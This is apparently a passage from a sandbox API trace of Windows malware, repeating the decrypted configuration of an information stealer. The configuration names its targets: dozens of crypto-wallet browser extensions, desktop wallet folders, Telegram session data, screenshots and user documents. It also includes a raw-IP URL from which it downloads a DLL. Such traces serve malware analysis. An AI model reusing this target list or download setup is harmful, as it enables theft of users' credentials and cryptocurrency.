Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4790 [0259.342] LocalAlloc (uFlags=0x40, uBytes=0x256c) returned 0x6b9720 [0259.342] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4790 [0259.342] LocalAlloc (uFlags=0x40, uBytes=0x256c) returned 0x6bbc98 [0259.342] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4790 [0259.342] LocalAlloc (uFlags=0x40, uBytes=0x256c) returned 0x6be210 [0259.342] StrStrW (lpFirst="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.342] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension 